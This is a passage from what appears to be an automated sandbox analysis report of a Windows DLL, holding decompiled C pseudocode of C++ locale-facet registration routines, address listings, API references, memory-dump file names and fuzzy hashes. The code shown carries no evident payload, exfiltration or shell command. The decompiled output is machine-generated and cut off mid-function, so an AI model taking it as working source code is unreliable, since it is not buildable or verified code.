																															 *((intOrPtr*)( *((intOrPtr*)( *_t766 + 4))))();
																															 *0x6ddd6dc8 = _t766;
																															goto L61;
																														}
																													} else {
																														_t766 = _t785;
																														goto L61;
																													}
																												}
																											} else {
																												_t765 =  *(_t814 - 0x10);
																												 *(_t814 - 0x10) = _t765;
																												 *(_t814 - 4) = 1;
																												E6DD16FD3(__eflags, _t765);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t765 + 4))))();
																												 *0x6ddd6df4 = _t765;
																												goto L54;
																											}
																										} else {
																											_t765 = _t784;
																											goto L54;
																										}
																									}
																								} else {
																									_t764 =  *(_t814 - 0x10);
																									 *(_t814 - 0x10) = _t764;
																									 *(_t814 - 4) = 1;
																									E6DD16FD3(__eflags, _t764);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t764 + 4))))();
																									 *0x6ddd6df8 = _t764;
																									goto L47;
																								}
																							} else {
																								_t764 = _t783;
																								goto L47;
																							}
																						}
																					} else {
																						_t763 =  *(_t814 - 0x10);
																						 *(_t814 - 0x10) = _t763;
																						 *(_t814 - 4) = 1;
																						E6DD16FD3(__eflags, _t763);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t763 + 4))))();
																						 *0x6ddd6dc0 = _t763;
																						goto L40;
																					}
																				} else {
																					_t763 = _t782;
																					goto L40;
																				}
																			}
																		} else {
																			_t762 =  *(_t814 - 0x10);
																			 *(_t814 - 0x10) = _t762;
																			 *(_t814 - 4) = 1;
																			E6DD16FD3(__eflags, _t762);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t762 + 4))))();
																			 *0x6ddd6df0 = _t762;
																			goto L33;
																		}
																	} else {
																		_t762 = _t781;
																		goto L33;
																	}
																}
															} else {
																_t761 =  *(_t814 - 0x10);
																 *(_t814 - 0x10) = _t761;
																 *(_t814 - 4) = 1;
																E6DD16FD3(__eflags, _t761);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t761 + 4))))();
																 *0x6ddd6dbc = _t761;
																goto L26;
															}
														} else {
															_t761 = _t780;
															goto L26;
														}
													}
												} else {
													_t760 =  *(_t814 - 0x10);
													 *(_t814 - 0x10) = _t760;
													 *(_t814 - 4) = 1;
													E6DD16FD3(__eflags, _t760);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t760 + 4))))();
													 *0x6ddd6dec = _t760;
													goto L19;
												}
											} else {
												_t760 = _t779;
												goto L19;
											}
										}
									} else {
										_t759 =  *(_t814 - 0x10);
										 *(_t814 - 0x10) = _t759;
										 *(_t814 - 4) = 1;
										E6DD16FD3(__eflags, _t759);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t759 + 4))))();
										 *0x6ddd6db8 = _t759;
										goto L12;
									}
								} else {
									_t759 = _t778;
									goto L12;
								}
							}
						} else {
							_t758 =  *(_t814 - 0x10);
							 *(_t814 - 0x10) = _t758;
							 *(_t814 - 4) = 1;
							E6DD16FD3(__eflags, _t758);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t758 + 4))))();
							 *0x6ddd6de8 = _t758;
							goto L5;
						}
					} else {
						_t758 = _t777;
						goto L5;
					}
				}
			}

0x6dd1f183
0x6dd1f183
0x6dd1f18a
0x6dd1f194
0x6dd1f199
0x6dd1f1a4
0x6dd1f1a8
0x6dd1f1ab
0x6dd1f1b0
0x6dd1f1b4
0x6dd1f1b9
0x6dd1f1bd
0x6dd1f202
0x6dd1f205
0x6dd1f211
0x6dd1f1bf
0x6dd1f1c1
0x6dd1f1c7
0x6dd1f1cd
0x6dd1f1d5
0x6dd1f1d8
0x6dd1f215
0x6dd1f223
0x6dd1f228
0x6dd1f230
0x6dd1f23a
0x6dd1f23f
0x6dd1f24a
0x6dd1f24e
0x6dd1f251
0x6dd1f256
0x6dd1f25f
0x6dd1f261
0x6dd1f263
0x6dd1f2a8
0x6dd1f2ab
0x6dd1f2b7
0x6dd1f265
0x6dd1f265
0x6dd1f267
0x6dd1f26d
0x6dd1f273
0x6dd1f27b
0x6dd1f27e
0x6dd1f2bb
0x6dd1f2c9
0x6dd1f2ce
0x6dd1f2d6
0x6dd1f2e0
0x6dd1f2e5
0x6dd1f2f0
0x6dd1f2f4
0x6dd1f2f7
0x6dd1f2fc
0x6dd1f305
0x6dd1f307
0x6dd1f309
0x6dd1f34e
0x6dd1f351
0x6dd1f35d
0x6dd1f30b
0x6dd1f30b
0x6dd1f30d
0x6dd1f313
0x6dd1f319
0x6dd1f321
0x6dd1f324
0x6dd1f361
0x6dd1f36f
0x6dd1f374
0x6dd1f37c
0x6dd1f386
0x6dd1f38b
0x6dd1f396
0x6dd1f39a
0x6dd1f39d
0x6dd1f3a2
0x6dd1f3ab
0x6dd1f3ad
0x6dd1f3af
0x6dd1f3f4
0x6dd1f3f7
0x6dd1f403
0x6dd1f3b1
0x6dd1f3b1
0x6dd1f3b3
0x6dd1f3b9
0x6dd1f3bf
0x6dd1f3c7
0x6dd1f3ca
0x6dd1f407
0x6dd1f415
0x6dd1f41a
0x6dd1f422
0x6dd1f42c
0x6dd1f431
0x6dd1f43c
0x6dd1f440
0x6dd1f443
0x6dd1f448
0x6dd1f451
0x6dd1f453
0x6dd1f455
0x6dd1f49a
0x6dd1f49d
0x6dd1f4a9
0x6dd1f457
0x6dd1f457
0x6dd1f459
0x6dd1f45f
0x6dd1f465
0x6dd1f46d
0x6dd1f470
0x6dd1f4ad
0x6dd1f4bb
0x6dd1f4c0
0x6dd1f4c8
0x6dd1f4d2
0x6dd1f4d7
0x6dd1f4e2
0x6dd1f4e6
0x6dd1f4e9
0x6dd1f4ee
0x6dd1f4f7
0x6dd1f4f9
0x6dd1f4fb
0x6dd1f540
0x6dd1f543
0x6dd1f54f
0x6dd1f4fd
0x6dd1f4fd
0x6dd1f4ff
0x6dd1f505
0x6dd1f50b
0x6dd1f513
0x6dd1f516
0x6dd1f553
0x6dd1f561
0x6dd1f566
0x6dd1f56e
0x6dd1f578
0x6dd1f57d
0x6dd1f588
0x6dd1f58c
0x6dd1f58f
0x6dd1f594
0x6dd1f59d
0x6dd1f59f
0x6dd1f5a1
0x6dd1f5e6
0x6dd1f5e9
0x6dd1f5f5
0x6dd1f5a3
0x6dd1f5a3
0x6dd1f5a5
0x6dd1f5ab
0x6dd1f5b1
0x6dd1f5b9
0x6dd1f5bc
0x6dd1f5f9
0x6dd1f607
0x6dd1f60c
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f643
0x6dd1f645
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459
0x6dd1f3cc
0x6dd1f3cc
0x6dd1f3cf
0x6dd1f3d3
0x6dd1f3d7
0x6dd1f3e4
0x6dd1f3ec
0x6dd1f3ee
0x00000000
0x6dd1f3ee
0x6dd1f3b5
0x6dd1f3b5
0x00000000
0x6dd1f3b5
0x6dd1f3b3
0x6dd1f326
0x6dd1f326
0x6dd1f329
0x6dd1f32d
0x6dd1f331
0x6dd1f33e
0x6dd1f346
0x6dd1f348
0x00000000
0x6dd1f348
0x6dd1f30f
0x6dd1f30f
0x00000000
0x6dd1f30f
0x6dd1f30d
0x6dd1f280
0x6dd1f280
0x6dd1f283
0x6dd1f287
0x6dd1f28b
0x6dd1f298
0x6dd1f2a0
0x6dd1f2a2
0x00000000
0x6dd1f2a2
0x6dd1f269
0x6dd1f269
0x00000000
0x6dd1f269
0x6dd1f267
0x6dd1f1da
0x6dd1f1da
0x6dd1f1dd
0x6dd1f1e1
0x6dd1f1e5
0x6dd1f1f2
0x6dd1f1fa
0x6dd1f1fc
0x00000000
0x6dd1f1fc
0x6dd1f1c3
0x6dd1f1c3
0x00000000
0x6dd1f1c3
0x6dd1f1c1

APIs

__EH_prolog3.LIBCMT ref: 6DD1F18A
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F194
int.LIBCPMT ref: 6DD1F1AB

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

messages.LIBCPMT ref: 6DD1F1CE
std::_Facet_Register.LIBCPMT ref: 6DD1F1E5
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F205
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F223

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
String ID:
API String ID: 438560357-0
Opcode ID: 7e9bc65d8e303c89f12f6bbdce911d972ad5c57a079c6d9e4be0e4eec102130c
Instruction ID: eb2ad0df2ee027c5ab566fbc118d9f14665761bc17721e4d2df23983d9937027
Opcode Fuzzy Hash: 7e9bc65d8e303c89f12f6bbdce911d972ad5c57a079c6d9e4be0e4eec102130c
Instruction Fuzzy Hash: 5E119E76908129CBCF01FBA4EC50AFDB775EF85324F26040AF620AB291DB7499018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F0DD, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F0DD(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t279;
				signed int _t280;
				void* _t292;
				void* _t305;
				void* _t318;
				void* _t331;
				void* _t344;
				void* _t357;
				void* _t370;
				void* _t383;
				void* _t396;
				void* _t409;
				void* _t422;
				void* _t435;
				void* _t448;
				void* _t461;
				void* _t474;
				void* _t487;
				void* _t500;
				void* _t513;
				signed int _t739;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t810;
				signed int _t811;
				signed int _t812;
				signed int _t813;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				signed int _t829;
				signed int _t830;
				signed int _t831;
				signed int _t832;
				signed int _t833;
				signed int _t834;
				signed int _t835;
				signed int _t836;
				signed int _t837;
				signed int _t838;
				void* _t858;

				_t797 = __edx;
				_t606 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t858 - 0x14, 0);
				_t819 =  *0x6ddd6dd4; // 0x0
				 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
				 *(_t858 - 0x10) = _t819;
				_t279 = E6DCF161C(0x6ddd6b28);
				_t609 =  *((intOrPtr*)(_t858 + 8));
				_t280 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t279);
				_t799 = _t280;
				if(_t280 != 0) {
					L5:
					E6DD166BA(_t858 - 0x14);
					return E6DD30075(_t799);
				} else {
					if(_t819 == 0) {
						_push( *((intOrPtr*)(_t858 + 8)));
						_push(_t858 - 0x10);
						__eflags = E6DD20E47(__ebx, _t609, __edx, _t799, _t819) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t858 - 0x20);
							E6DD33D74(_t858 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t799, _t819, 0x14);
							E6DD16653(_t858 - 0x14, 0);
							_t820 =  *0x6ddd6de8; // 0x0
							 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
							 *(_t858 - 0x10) = _t820;
							_t292 = E6DCF161C(0x6ddd6d94);
							_t616 =  *((intOrPtr*)(_t858 + 8));
							_t800 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t292);
							__eflags = _t800;
							if(_t800 != 0) {
								L12:
								E6DD166BA(_t858 - 0x14);
								return E6DD30075(_t800);
							} else {
								__eflags = _t820;
								if(_t820 == 0) {
									_push( *((intOrPtr*)(_t858 + 8)));
									_push(_t858 - 0x10);
									__eflags = E6DD20EB7(_t606, _t616, __edx, _t800, _t820) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t858 - 0x20);
										E6DD33D74(_t858 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t606, _t800, _t820, 0x14);
										E6DD16653(_t858 - 0x14, 0);
										_t821 =  *0x6ddd6db8; // 0x0
										 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
										 *(_t858 - 0x10) = _t821;
										_t305 = E6DCF161C(0x6ddd6d6c);
										_t623 =  *((intOrPtr*)(_t858 + 8));
										_t801 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t305);
										__eflags = _t801;
										if(_t801 != 0) {
											L19:
											E6DD166BA(_t858 - 0x14);
											return E6DD30075(_t801);
										} else {
											__eflags = _t821;
											if(_t821 == 0) {
												_push( *((intOrPtr*)(_t858 + 8)));
												_push(_t858 - 0x10);
												__eflags = E6DD20F1F(_t606, _t623, __edx, _t801, _t821) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t858 - 0x20);
													E6DD33D74(_t858 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t606, _t801, _t821, 0x14);
													E6DD16653(_t858 - 0x14, 0);
													_t822 =  *0x6ddd6dec; // 0x0
													 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
													 *(_t858 - 0x10) = _t822;
													_t318 = E6DCF161C(0x6ddd6d98);
													_t630 =  *((intOrPtr*)(_t858 + 8));
													_t802 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t318);
													__eflags = _t802;
													if(_t802 != 0) {
														L26:
														E6DD166BA(_t858 - 0x14);
														return E6DD30075(_t802);
													} else {
														__eflags = _t822;
														if(_t822 == 0) {
															_push( *((intOrPtr*)(_t858 + 8)));
															_push(_t858 - 0x10);
															__eflags = E6DD20F87(_t606, _t630, _t797, _t802, _t822) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t858 - 0x20);
																E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t606, _t802, _t822, 0x14);
																E6DD16653(_t858 - 0x14, 0);
																_t823 =  *0x6ddd6dbc; // 0x0
																 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																 *(_t858 - 0x10) = _t823;
																_t331 = E6DCF161C(0x6ddd6d70);
																_t637 =  *((intOrPtr*)(_t858 + 8));
																_t803 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t331);
																__eflags = _t803;
																if(_t803 != 0) {
																	L33:
																	E6DD166BA(_t858 - 0x14);
																	return E6DD30075(_t803);
																} else {
																	__eflags = _t823;
																	if(_t823 == 0) {
																		_push( *((intOrPtr*)(_t858 + 8)));
																		_push(_t858 - 0x10);
																		__eflags = E6DD20FEF(_t606, _t637, _t797, _t803, _t823) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t858 - 0x20);
																			E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t606, _t803, _t823, 0x14);
																			E6DD16653(_t858 - 0x14, 0);
																			_t824 =  *0x6ddd6df0; // 0x0
																			 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																			 *(_t858 - 0x10) = _t824;
																			_t344 = E6DCF161C(0x6ddd6d9c);
																			_t644 =  *((intOrPtr*)(_t858 + 8));
																			_t804 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t344);
																			__eflags = _t804;
																			if(_t804 != 0) {
																				L40:
																				E6DD166BA(_t858 - 0x14);
																				return E6DD30075(_t804);
																			} else {
																				__eflags = _t824;
																				if(_t824 == 0) {
																					_push( *((intOrPtr*)(_t858 + 8)));
																					_push(_t858 - 0x10);
																					__eflags = E6DD21057(_t606, _t644, _t797, _t804, _t824) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t858 - 0x20);
																						E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t606, _t804, _t824, 0x14);
																						E6DD16653(_t858 - 0x14, 0);
																						_t825 =  *0x6ddd6dc0; // 0x0
																						 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																						 *(_t858 - 0x10) = _t825;
																						_t357 = E6DCF161C(0x6ddd6d74);
																						_t651 =  *((intOrPtr*)(_t858 + 8));
																						_t805 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t357);
																						__eflags = _t805;
																						if(_t805 != 0) {
																							L47:
																							E6DD166BA(_t858 - 0x14);
																							return E6DD30075(_t805);
																						} else {
																							__eflags = _t825;
																							if(_t825 == 0) {
																								_push( *((intOrPtr*)(_t858 + 8)));
																								_push(_t858 - 0x10);
																								__eflags = E6DD210BF(_t606, _t651, _t797, _t805, _t825) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t858 - 0x20);
																									E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t606, _t805, _t825, 0x14);
																									E6DD16653(_t858 - 0x14, 0);
																									_t826 =  *0x6ddd6df8; // 0x0
																									 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																									 *(_t858 - 0x10) = _t826;
																									_t370 = E6DCF161C(0x6ddd6da4);
																									_t658 =  *((intOrPtr*)(_t858 + 8));
																									_t806 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t370);
																									__eflags = _t806;
																									if(_t806 != 0) {
																										L54:
																										E6DD166BA(_t858 - 0x14);
																										return E6DD30075(_t806);
																									} else {
																										__eflags = _t826;
																										if(_t826 == 0) {
																											_push( *((intOrPtr*)(_t858 + 8)));
																											_push(_t858 - 0x10);
																											__eflags = E6DD21127(_t606, _t658, _t797, _t806, _t826) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t858 - 0x20);
																												E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t606, _t806, _t826, 0x14);
																												E6DD16653(_t858 - 0x14, 0);
																												_t827 =  *0x6ddd6df4; // 0x0
																												 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																												 *(_t858 - 0x10) = _t827;
																												_t383 = E6DCF161C(0x6ddd6da0);
																												_t665 =  *((intOrPtr*)(_t858 + 8));
																												_t807 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t383);
																												__eflags = _t807;
																												if(_t807 != 0) {
																													L61:
																													E6DD166BA(_t858 - 0x14);
																													return E6DD30075(_t807);
																												} else {
																													__eflags = _t827;
																													if(_t827 == 0) {
																														_push( *((intOrPtr*)(_t858 + 8)));
																														_push(_t858 - 0x10);
																														__eflags = E6DD211AB(_t606, _t665, _t797, _t807, _t827) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t858 - 0x20);
																															E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t606, _t807, _t827, 0x14);
																															E6DD16653(_t858 - 0x14, 0);
																															_t828 =  *0x6ddd6dc8; // 0x0
																															 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																															 *(_t858 - 0x10) = _t828;
																															_t396 = E6DCF161C(0x6ddd6d7c);
																															_t672 =  *((intOrPtr*)(_t858 + 8));
																															_t808 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t396);
																															__eflags = _t808;
																															if(_t808 != 0) {
																																L68:
																																E6DD166BA(_t858 - 0x14);
																																return E6DD30075(_t808);
																															} else {
																																__eflags = _t828;
																																if(_t828 == 0) {
																																	_push( *((intOrPtr*)(_t858 + 8)));
																																	_push(_t858 - 0x10);
																																	__eflags = E6DD21230(_t606, _t672, _t797, _t808, _t828) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t858 - 0x20);
